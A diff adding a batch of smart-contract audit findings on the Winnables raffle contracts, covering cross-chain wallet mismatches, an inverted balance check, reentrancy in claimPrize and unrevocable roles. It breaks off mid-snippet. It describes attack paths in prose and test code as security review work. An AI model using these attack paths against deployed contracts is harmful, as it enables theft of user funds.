+```solidity + function buyTickets( + uint256 raffleId, + uint16 ticketCount, + uint256 blockNumber, + bytes calldata signature + ) external payable { + if (ticketCount == 0) revert InvalidTicketCount(); + _checkTicketPurchaseable(raffleId, ticketCount); + _checkPurchaseSig(raffleId, ticketCount, blockNumber, signature); + + Raffle storage raffle = _raffles[raffleId]; + uint256 participation = uint256(raffle.participations[msg.sender]); + uint128 totalPaid = uint128(participation) + uint128(msg.value); + uint32 totalPurchased = uint32(participation >> 128) + uint32(ticketCount); + unchecked { + raffle.participations[msg.sender] = bytes32( + (participation & type(uint256).max << 160) + | totalPaid | + uint256(totalPurchased) << 128 + ); + } + unchecked { + raffle.totalRaised += msg.value; + _userNonces[msg.sender]++; + _lockedETH += msg.value; + } + IWinnablesTicket(TICKETS_CONTRACT).mint(msg.sender, raffleId, ticketCount); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` + +If this AA wallet was the winner of the raffle, the address it registered on the source chain gets sent to the `WinnablesPrizeManager` contract on the destination chain using the `propagateRaffleWinner` function: + +```solidity + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } +``` + +So, on the source chain, this address is registered as the winner. But, the problem is on the source chain the same address may not belong to the same AA wallet. Hence, the AA wallet will not be able to claim the prize. + +## Impact +AA wallets cannot claim prizes when they are the winner of a raffle, breaking a core functionality of the protocol. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L182 + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334 + +## Tool used + +Manual Review + +## Recommendation +Allow users to specify the address for which they want to receive prizes on the destination chain. \ No newline at end of file diff --git a/001/603.md b/001/603.md new file mode 100644 index 0000000..258f051 --- /dev/null +++ b/001/603.md @@ -0,0 +1,65 @@ +Smooth Frost Lobster + +High + +# Wrong Validation Check on `withdrawTokens` Function in WinnablesTicketManager.sol + +## Summary +The `withdrawTokens` function in the `WinnablesTicketManager.sol` contract contains a logical error in the condition that checks whether the contract has a sufficient balance to fulfill a withdrawal request. This issue can prevent valid withdrawals and allow invalid ones, potentially leading to an underflow or improper handling of token transfers. + +## Vulnerability Detail +In the `withdrawTokens` function, the condition used to check if the contract has enough tokens to fulfill the withdrawal request is incorrect. The current condition is: + +```solidity +if (amount < balance) revert InsufficientBalance(); +``` +This condition incorrectly reverts the transaction when the requested `amount` is less than the `balance`, which should not be a reason for reverting. The correct logic should be to revert if the requested `amount` is greater than the available `balance`. The correct condition should be: + +```solidity +if (amount > balance) revert InsufficientBalance(); +``` +This issue may cause valid withdrawal requests (where `amount < balance`) to fail and invalid requests (where `amount > balance`) to succeed, leading to unexpected behavior. + +## Impact +The impact of this issue can be severe as it may: + + - **Prevent Valid Withdrawals**: Users or authorized roles may be unable to withdraw tokens even when the contract has a sufficient balance. + - **Allow Invalid Withdrawals**: It could potentially allow withdrawals of more tokens than are actually available, which might lead to unexpected token transfers, underflow issues, or incorrect token accounting. + +## Code Snippet + +The vulnerable code is as follows: + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L292 + +```solidity +function withdrawTokens( + address tokenAddress, + uint256 amount +) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); + if (amount < balance) revert InsufficientBalance(); // Vulnerability is here + token.safeTransfer(msg.sender, amount); +} +``` + +## Tool used + +Manual Review + +## Recommendation +To fix the issue, update the condition in the `withdrawTokens` function as follows: + +```diff +function withdrawTokens( + address tokenAddress, + uint256 amount + ) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); +- if (amount < balance) revert InsufficientBalance(); ++ if (amount > balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } +``` \ No newline at end of file diff --git a/001/605.md b/001/605.md new file mode 100644 index 0000000..6a78d4e --- /dev/null +++ b/001/605.md @@ -0,0 +1,52 @@ +Plain Mahogany Vulture + +High + +# H-2: Admin can prevent winners from withdrawing his prize + +## Summary + +The README of the contest clearly states that "Winnables admins cannot do anything to prevent a winner from withdrawing their prize." However, in the current implementation, this invariant can be violated. The admin has the ability to prevent winners from withdrawing their prize, which contradicts the intended design and could undermine the fairness of the protocol. +## Vulnerability Detail + +The issue stems from the ability of admin to override CCIP counterpart before `propagateRaffleWinner()` is called + +```solidity +function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } +``` + +Initially, the admin can set the CCIP counterpart correctly, for example, by linking the `WinnablesPrizeManager` contract on the Ethereum mainnet: +```solidity +ticketManager.setCCIPCounterpart(address(prizeManager), 5009297550715157269, true);   +``` + +However, the admin can later override the `enabled` status of this counterpart: +```solidity +ticketManager.setCCIPCounterpart(address(prizeManager), 5009297550715157269, false); +``` + +This would prevent the contracts from communicating with each other, effectively locking the winner's funds and disrupting the entire functionality of the system. +## Impact + +Admin can prevent winner from withdrawing his prize and DoS of the whole system. +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L238 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L334 +## Tool used + +Manual Review +## Recommendation + +Consider removing the possibility to disable a counterpart or implement additional logic for special cases where disabling should be supported \ No newline at end of file diff --git a/001/606.md b/001/606.md new file mode 100644 index 0000000..dd41c90 --- /dev/null +++ b/001/606.md @@ -0,0 +1,51 @@ +Fast Hotpink Toad + +High + +# Users using multisigs or AA wallets would lose their raffle prize + +## Summary + +Different contracts have different addresses on different chains. Currently, the prize manager is deployed on Ethereum and the ticket manager on avalanche. A user participating in a raffle on Avalanche using a multisig or AA wallet contract implementation would not be owning the same address on Ethereum. Due to this, the rewards would be lost. + +## Vulnerability Detail + +When propagateRaffleWinner() is called, it uses the avalanche address i.e. the owner of the Winnable ticket purchased. If the winner is an multisig or AA wallet, then it would not have the same address on the destination chain, thus causing the rewards to be lost and locked in the contract. Someone else could claim that prize as well if they own that address on ethereum. + + +As we can see in the code snippets below, the winner is set to the owner of the winning ticket number id purchased and sent along with the data for the cross-chain call to Ethereum, where the reward would be claimable by an address not owned by the actual multisig owner. +```solidity + function _getWinnerByRequestId(uint256 requestId) internal view returns(address) { + RequestStatus storage request = _chainlinkRequests[requestId]; + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(request.raffleId); + uint256 winningTicketNumber = request.randomWord % supply; + return IWinnablesTicket(TICKETS_CONTRACT).ownerOf(request.raffleId, winningTicketNumber); + } +``` + +```solidity + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } +``` + +## Code snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L334C5-L345C6 + +## Tool used + +Manual Review + +## Recommendation +Allow user to provide different recipient for claiming prize on Ethereum. \ No newline at end of file diff --git a/001/609.md b/001/609.md new file mode 100644 index 0000000..aa41088 --- /dev/null +++ b/001/609.md @@ -0,0 +1,47 @@ +Wonderful Eggplant Aardvark + +Medium + +# Incompatibility with smart accounts will cause prizes to be stuck for raffle winners + +### Summary + +Incompatibility with smart accounts such as multi-sig or account abstraction wallets will cause prizes to be stuck for raffle winners as they won't be able to claim them due to having different addresses on Ethereum Mainnet and Avalanche. + +### Root Cause + +The vulnerability lies in the address validation check at [WinnablesPrizeManager.sol:120](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L120). This condition ensures that the winner and the claimant addresses are identical, which is not the case for multisig/AA wallets operating across different chains such as Ethereum and Avalanche. + + +### Internal pre-conditions + +1. Winner of the raffle must have a multisig/AA wallet + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +As a result, the winner is not able to claim their prize via `WinnablesPrizeManager::claimPrize` on Ethereum mainnet and the funds remain stuck forever. + +### PoC + +Proof of Concept: + +1. Admin locks the prize into `WinnablesPrizeManager` for a given raffle. +2. Admin creates a raffle using `WinnablesTicketManager::createRaffle` with appropriate config. +3. Users `buyTickets` for the raffle. +4. After the `minTicketsThreshold` is reached and raffle `endTime` has passed, `drawWinner` is called and propogated to mainnet. +5. The winner is a smart contract account +6. Winner tries to `claimPrize` but the transaction reverts as their Ethereum account address is different from Avalanche. +7. Funds are now stuck! + +### Mitigation + +1. **Implement Whitelisting**: Implement a whitelisting mechanism for known multisig/AA wallet addresses across chains to bypass the restrictive check. +2. **User Validation**: Introduce a more sophisticated user validation process that allows for different addresses on different chains but ensures the integrity of the cross-chain transfer. diff --git a/001/612.md b/001/612.md new file mode 100644 index 0000000..9a606e9 --- /dev/null +++ b/001/612.md @@ -0,0 +1,25 @@ +Original Zinc Caribou + +Medium + +# Claimed raffle can still be cancelled and Vice-Versa + +## Summary +In the `WinnablesPrizeManager.sol::claimPrize` and the `WinnablesPrizeManager.sol::_cancelRaffle` functions, there is no synchronization to ensure a cancelled raffle cannot be claimed and vice versa. + +## Vulnerability Detail +The WInnablesPrizeManager is the holder of the prizes of all raffles, in the `_cancelRaffle` function, there is only a check for the status of the raffle is cancelled `if (_rafflePrize[raffleId].status == RafflePrizeStatus.CANCELED) revert InvalidRaffle();` so if the `_rafflePrize[raffleId].status` holds any other state aside RafflePrizeStatus.CANCELED, it'll pass. + +IN the `claimPrize`, there is no check for `_rafflePrize[raffleId].status == RafflePrizeStatus.CANCELED`, meaning a winner of a pending or already cancelled raffle can still claim the prize. + +## Impact + +Loss of funds, as cancel prize reduces prizes left and claim does same thing, cause accounting issues and loss of funds + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105 +## Tool used + +Manual Review + +## Recommendation \ No newline at end of file diff --git a/001/613.md b/001/613.md new file mode 100644 index 0000000..663ec65 --- /dev/null +++ b/001/613.md @@ -0,0 +1,60 @@ +Teeny Marmalade Ladybug + +Medium + +# Admin Can Exploit Raffle System to Steal Funds and Block Prize Claims + +### Summary + +The admin can exploit the `WinnablesPrizeManager::setCCIPCounterpart` function to set their own contract address and ChainID: +```solidity + function setCCIPCounterpart(address contractAddress, uint64 chainSelector, bool enabled) external onlyRole(0) { + _setCCIPCounterpart(contractAddress, chainSelector, enabled); + } +``` + +This function allows the admin to configure a custom address for the CCIP counterpart, which is crucial for handling Cross-Chain Interoperability Protocol (CCIP) messages between the `WinnablesPrizeManager` and `WinnablesTicketManager` contracts. The `_ccipReceive` function includes a check to ensure that only authorized contracts listed in `_ccipContracts` can send CCIP messages: +```solidity + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); +``` + +By setting a contract address that the admin controls, they can send arbitrary data, such as a `CANCEL` message, to the `WinnablesPrizeManager` contract. This could allow the admin to unlock funds that should only be unlocked when a valid message from the `WinnablesTicketManager` contract is received. + +Additionally, the admin can remove the current entries in the `BaseCCIPContract::_ccipContracts` variable, preventing any requests from the `WinnablesTicketManager` contract from being received by the `WinnablesPrizeManager` contract. As a result, users will be unable to claim their prizes after winning a raffle. + +### Root Cause + +The `setCCIPCounterpart` function in both the `WinnablesPrizeManager` and `WinnablesTicketManager` contracts grants the admin unrestricted control over the CCIP counterpart and chain ID settings. This function also allows the admin to remove existing values that are essential for enabling CCIP messaging between the two contracts. + +### Internal pre-conditions + +The admin uses the `setCCIPCounterpart` function to designate a `contractAddress` that they control. + +### External pre-conditions + +None + +### Attack Path + +First Attack Scenario: +1. The admin calls `WinnablesPrizeManager::setCCIPCounterpart` to set a custom CCIP counterpart and chain ID that they control. +2. The admin then calls `WinnablesPrizeManager::_ccipReceive` to send a message canceling the raffle. +3. Upon cancellation, the admin withdraws the locked prize funds. +4. The admin subsequently calls `WinnablesTicketManager::drawWinner` to generate a random number and draw a winner. +5. After the winner is drawn, the admin calls `WinnablesTicketManager::propagateRaffleWinner` to trigger the withdrawal of ticket funds via the `withdrawETH` function. + +Second Attack Scenario: +1. The admin removes the legitimate `BaseCCIPContract::_ccipContracts` entry, ensuring that the `WinnablesPrizeManager` contract does not receive any incoming messages from the `WinnablesTicketManager` contract. +2. As a result, users are unable to claim their prizes because the necessary CCIP message is never received. + +### Impact + +Users suffer losses as they are unable to claim the raffle prize they won. + +### PoC + +_No response_ + +### Mitigation + +Resolving this issue on-chain is challenging, but the protocol can mitigate the risk by modifying the `setCCIPCounterpart` function. By requiring the admin to provide a signature generated via an external API, similar to the approach used in the `buyTickets` function, this vulnerability can be fixed. This change would ensure that only authorized signatures can modify CCIP counterpart and chain ID settings, thereby preventing unauthorized changes. \ No newline at end of file diff --git a/001/614.md b/001/614.md new file mode 100644 index 0000000..77d340a --- /dev/null +++ b/001/614.md @@ -0,0 +1,31 @@ +Narrow Latte Huskie + +Medium + +# Account Abstraction Wallets are unable to claim rewards + +## Summary + +Account Abstraction Wallets have different addresses on different chains. This can cause problems in protocols which use two or more mainnets for functionality. + +## Vulnerability Detail + +The protocol works by selling tickets on the Avalanche mainnet through the `WinnablesTicketManager.sol` contract and upon completion of the raffle, a winner is selected by utilizing VRF's fulfillRandomWords() functon. Once the winner has been drawn, anyone can call the function propagateRaffleWinner() which sends a _ccipMessage to the Prize Manager where the prizes are locked, this contract is on the Ethereum mainnet. + +Upon purchasing tickets the user's address is stored on the avalanche mainnet, once the winner has been found, the _ccip forwards the message to prize manager and forwards the address of the winner from the avalanche mainnet. + +But the winner can be different address on ethereum hence locking them out of receiving their reward + +## Impact + +AA wallets are unable to receive their rewards + +## Code Snippet + +[claimPrize()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124) + +## Tool used + +Manual Review + +## Recommendation \ No newline at end of file diff --git a/001/615.md b/001/615.md new file mode 100644 index 0000000..f5cda26 --- /dev/null +++ b/001/615.md @@ -0,0 +1,26 @@ +Fast Hotpink Toad + +High + +# Reentrancy in claimPrize() allows malicious winner to steal ETH + +## Summary + +Winner can reenter claimPrize() function to steal more ETH. This means that other ongoing raffles would lose ETH that was locked. + +## Vulnerability Detail + +1. Winner (i.e. a malicious contract implementation) calls function claimPrize() to claim the ETH tokens received as reward for winning raffle +2. The malicious contract calls function claimPrize() in its fallback/receive function when an external call is made to it using function _sendETH(). +3. Since the CLAIMED status has not been updated, the call continues decreasing the ethLocked variable and thus allowing the attacker to continuously steal ETH. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L118 + +## Tool used + +Manual Review + +## Recommendation +Add nonReentrant modifier to function claimPrize() or use CEI pattern, \ No newline at end of file diff --git a/002/018.md b/002/018.md new file mode 100644 index 0000000..77308dd --- /dev/null +++ b/002/018.md @@ -0,0 +1,40 @@ +Massive Caramel Pigeon + +High + +# Unchecked Zero Address Assignment in Role Management + +## Summary +The `Roles` contract and its derivatives (`WinnablesPrizeManager`, `WinnablesTicketManager`, `WinnablesTicket`) do not validate that the address assigned a role is not the zero address (`address(0)`). This can lead to unintended role assignments and potential security vulnerabilities. + +## Vulnerability Detail +In the constructors of the `Roles` contract and its derivatives, the `_setRole` function is called to assign the deployer (`msg.sender`) the admin role (role 0). However, there is no check to ensure that `msg.sender` is not the zero address. If `msg.sender` is the zero address, the role assignment will still proceed, leading to the zero address having admin privileges. This can occur due to a misconfiguration or malicious intent. +`_addressRoles[user] = bytes32(roles | (1 << role));` + +## Impact +The zero address having admin privileges can lead to unauthorized access and control over the contract. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29-L33 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L49-L55 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L51-L65 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L37-L40 + +## Tool used + +Manual Review + +## Recommendation +add a check to the `_setRole` function to ensure that the address assigned the role is not a null address. +```solidity +function _setRole(address user, uint8 role, bool status) internal virtual { + require(user != address(0), "Roles: address zero is not a valid user"); + uint256 roles = uint256(_addressRoles[user]); + if (status) { + _addressRoles[user] = bytes32(roles | (1 << role)); + } else { + _addressRoles[user] = bytes32(roles & ~(1 << role)); + } + emit RoleUpdated(user, role, status); +} +``` \ No newline at end of file diff --git a/002/020.md b/002/020.md new file mode 100644 index 0000000..2973847 --- /dev/null +++ b/002/020.md @@ -0,0 +1,71 @@ +Prehistoric Metal Rabbit + +Medium + +# `_setRole()` always grants the user the role, regardless of whether `status` is set to true or false + +### Summary + +Wrong implementation of `Roles._setRole()` will cause an admin to only be able to grant roles, but unable to deny any of them once granted. + +### Root Cause + +In `Roles`, the function `_setRole()` allows an admin to grant/deny any roles to a `user`. The status of the new role is determined by `status`: + +```solidity +function setRole(address user, uint8 role, bool status) external virtual onlyRole(0) { + _setRole(user, role, status); +} +``` + +This calls into the internal function `_setRole()`: + +```solidity +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); // @audit this always turns a bit on + emit RoleUpdated(user, role, status); +} +``` + +Note that in the middle line, `roles | (1 << role)` will always turn the "role"-th bit on in `_addressRoles[user]`, thus granting the `user` the role regardless of what `status` was called at. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L31 + +Therefore calling `setRole()` will always *grant* the user the role, never revoking them. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Admin is not able to deny roles once granted. This contradicts the README statement: +> Role 0 is an admin role and it allows its members to grant or deny roles to other users. + + +### PoC + +_No response_ + +### Mitigation + +Change the function `_setRole()` to as following: + +```solidity +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + if (_hasRole(user, role) != status) { + _addressRoles[user] = bytes32(roles ^ (1 << role)); + } + emit RoleUpdated(user, role, status); +} +``` \ No newline at end of file diff --git a/002/029.md b/002/029.md new file mode 100644 index 0000000..80023a1 --- /dev/null +++ b/002/029.md @@ -0,0 +1,48 @@ +Blunt Smoke Crane + +Medium + +# Roles can't be revoked + +### Summary + +In the ``Roles.sol`` contract, new roles can be set by the [setRole()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L35-L37) function which internally calls the [_setRole()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29-L33) function. There is no specific function for revoking a role and trying to revoke a role via the [_setRole()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29-L33) function won't work, no matter what the input for the **role** parameter is. + +```solidity + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); + } +``` + +### Root Cause +There is no functionality to revoke a role. +```solidity +_addressRoles[user] = bytes32(roles | (1 << role)); +``` +The use of the **OR** bitwise operator can only add new roles. + +### Internal pre-conditions + - An admin gives an address the minter role (role 1) + - Address gets compromised, or the admin decides that this person shouldn't be allowed to mint NFTs anymore by calling the [mint()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicket.sol#L182-L199) function. + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +If an address which has role 1 (a role which can mint NFTs) gets compromised, the role can't be removed, and the compromised address can continue minting NFTs to himself for free (not a single role can't be revoked) . Given the fact that the whole purpose of the ``Roles.sol`` contract is to assign and remove roles, missing such an important functionality may have a severe impact, thus the Medium severity. + +### PoC + +_No response_ + +### Mitigation + +Use well known and battle tested libraries for role management, such as Openzeppelin, or add the required functionality to revoke a role. \ No newline at end of file diff --git a/002/035.md b/002/035.md new file mode 100644 index 0000000..73da188 --- /dev/null +++ b/002/035.md @@ -0,0 +1,41 @@ +Tall Brown Goose + +Medium + +# Roles contract does not implement role invoking + +## Summary + +`Roles.sol` contract does not implement role invoking. + +## Vulnerability Detail + +Roles that exist on the `Roles.sol` contract can only be assigned - not revoked. This is probably a design oversight since the `_setRole(address, uint8, bool)` takes the `status` boolean argument which is suppose to determine whether or not to grant or revoke the role. + +## Impact + +Outdated credentials can become a security vulnerability if not properly decommissioned. Centralization issues when sunsetting or changing admins. +Also - do not underestimate the possibility of accidental role approval to unwanted addresses. That enough should warrant a mechanism for revoking roles. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29C1-L33C6 + +## Tool used + +Manual Review + +## Recommendation + +Implement role revoking on `Roles.sol` contract - maybe as such: +```solidity +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); + + if (status == false) { + _addressRoles[user] = bytes32(0); + } + emit RoleUpdated(user, role, status); +} +``` \ No newline at end of file diff --git a/002/041.md b/002/041.md new file mode 100644 index 0000000..be1a9bf --- /dev/null +++ b/002/041.md @@ -0,0 +1,49 @@ +Blunt Mulberry Wombat + +High + +# Roles can not be revoked + +## Vulnerability Detail +The `setRole` function accepts a `status` parameter intended to toggle the role for the specified `user`: +```solidity +function setRole(address user, uint8 role, bool status) external virtual onlyRole(0) { + _setRole(user, role, status); +} + +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); +>>> _addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); +} +``` +However, the current implementation does not allow for revoking a role. When the `status` parameter is set to `false`, the role is not removed; instead, it remains active for the user: +```solidity +_addressRoles[user] = bytes32(roles | (1 << role)); +``` + +## Proof Of Concept +Copy and paste the following test case into `test/Ticket.js`: +```js +describe('Ticket behaviour', () => { + // ... + it('can not revoke role', async () => { + await ticket.setRole(signers[1].address, 1, true); + let roleBeforeRevoking = await ticket.getRoles(signers[1].address); + await ticket.setRole(signers[1].address, 1, false); + let roleAfterRevoking = await ticket.getRoles(signers[1].address); + assert(roleBeforeRevoking == roleAfterRevoking) + }); +}) +``` +## Impact +Roles can not be revoked +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/Roles.sol#L31 + +## Tool used + +Manual Review + +## Recommendation +Update `_setRole` function to handle the revocation of roles when `status` is set to false. \ No newline at end of file diff --git a/002/053.md b/002/053.md new file mode 100644 index 0000000..3642565 --- /dev/null +++ b/002/053.md @@ -0,0 +1,79 @@ +Proper Mulberry Gecko + +Medium + +# The setRole() function grants role instead of removing + +### Summary + +Access control in the Winnables Raffles protocol is handled with the `Roles` contract. It works similarly to OpenZeppelin's access control but uses bit flags to determine whether a user has a role. Each user has a bytes32 representing the bitfield of roles. Role `0` is an admin role, allowing its members to grant or deny(remove) roles to other users. + +The `setRole(address user, uint8 role, bool status)` function, as it stands, always adds a role by performing a bitwise OR operation. However, it does not handle the removal of roles if the `status` parameter is `false`. This oversight results in incorrect role management within the contracts, potentially leading to accidental privilege grants or the inability to revoke privileges from compromised or revoked accounts. + +### Root Cause + +In `Roles.sol:L29` the `_setRole()` function always adds a role by performing a bitwise OR operation: + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L29-L33 + +This internal function is used in the `setRole()` function: + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/Roles.sol#L35-L37 + +### Internal pre-conditions + +The `setRole()` function can only be called by the `Admin`. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. `Admin` deploys the `WinnablesTicketTest` contract. +2. `Admin` grants role `1` to `Alice` by calling the `setRole()` function of the `WinnablesTicketTest` contract. The role is granted to `Alice`. +3. `Alice` mints 10 tickets to `Bob` using the role. +4. `Admin` revokes role `1` from `Alice` by calling the `setRole()` function. +5. The role is not removed from `Alice`. She can still mint tickets to `Bob`. + +### Impact + +The improper implementation results in incorrect role management within the contracts, potentially leading to accidental privilege grants or the inability to revoke privileges from compromised or revoked accounts. + +### PoC + +```javascript +describe('Ticket behaviour', () => { +... + it('Should not be able to mint tickets afer role deny', async () => { + await (await ticket.setRole(signers[2].address, 1, true)).wait(); + + const { events } = await (await ticket.connect(signers[2]).mint(signers[3].address, 1, 1)).wait(); + expect(events).to.have.lengthOf(2); + expect(events[0].event).to.eq('NewTicket'); + expect(events[1].event).to.eq('TransferSingle'); + + await (await ticket.setRole(signers[2].address, 1, false)).wait(); + await expect(ticket.connect(signers[2]).mint(signers[2].address, 1, 1)).to.be.revertedWithCustomError( + ticket, + 'MissingRole' + ); + }); +... +``` + +### Mitigation + +Modify the `_setRole()` function to handle both adding and removing roles based on the status parameter: + +```solidity +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + if (status) { + _addressRoles[user] = bytes32(roles | (1 << role)); + } else { + _addressRoles[user] = bytes32(roles & ~(1 << role)); + } + emit RoleUpdated(user, role, status); +} +``` \ No newline at end of file diff --git a/002/075.md b/002/075.md new file mode 100644 index 0000000..1ee477e --- /dev/null +++ b/002/075.md @@ -0,0 +1,79 @@ +Faint Ginger Urchin + +High + +# Roles can't be removed from addressses + +## Summary + +`Roles` contract is used as an Access Control in Winnables protocol. An admin (role `0`) is supposed to have an ability to set roles and to remove them from all addresses. However, a role once set can't be removed. + +## Vulnerability Detail + +Role `0` has an ability to call `setRole` function. + +```javascript +function setRole(address user, uint8 role, bool status) external virtual onlyRole(0) { + _setRole(user, role, status); +} +``` + +It takes address, role and status as parameters. Passed role will be granted or revoked from address depending on the `status` passed. If status is `true` it should grant user the passed role. If `false` it should remove this role from the passed address. The role once set can't be removed due to wrong implementation of internal `_setRole` function. + +```javascript +function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + _addressRoles[user] = bytes32(roles | (1 << role)); + emit RoleUpdated(user, role, status); +} +``` + +We can see that the `status` is only used in event `emit`. No matter if `true` or `false` is passed, the role will be always set as active. The role can't be removed which creates many threats to protocol functionality and security. + +The protocol expects that the role can be removed. It implements `status` bool that should determine if the role should be set or removed from desired address. + +Proof of Concept: + +Add this test to `Tickets.js` test file and run `yarn hardhat test`. + +The logged results show that the role does not change after calling `setRole` with `false` as a parameter. It should remove the role but it does not. + +```javascript +describe('Role revoking', () => { + it('Sets and removes role', async () => { + let role; + + console.log("Role before setting") + role = await ticket.getRoles(signers[0].address); + console.log(role); + + await (await ticket.setRole(signers[0].address, 2, true)).wait(); + + console.log("Role after setting") + role = await ticket.getRoles(signers[0].address); + console.log(role); + + await (await ticket.setRole(signers[0].address, 2, false)).wait(); + + console.log("Role after removing") + role = await ticket.getRoles(signers[0].address); + console.log(role); + }); + }); +``` + +## Impact` + +Crucial roles can't be removed from addresses. It can lead to protocol exploit in case the whitelisted address has a bug or the private key gets compromised. + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/Roles.sol#L29-L33 + +## Tool used + +Manual Review, Hardhat + +## Recommendation + +Use `status` variable to determine if the role should be set or removed. \ No newline at end of file diff --git a/002/103.md b/002/103.md new file mode 100644 index 0000000..5926054 --- /dev/null +++ b/002/103.md @@ -0,0 +1,43 @@ +Ripe Emerald Dragon + +High + +# Admin can't revoke role. + +## Summary +`Roles._setRole()` function can set role for user but can't revoke role form user. + +## Vulnerability Detail +`Roles._setRole()` function is following. +```solidity + function _setRole(address user, uint8 role, bool status) internal virtual { + uint256 roles = uint256(_addressRoles[user]); + 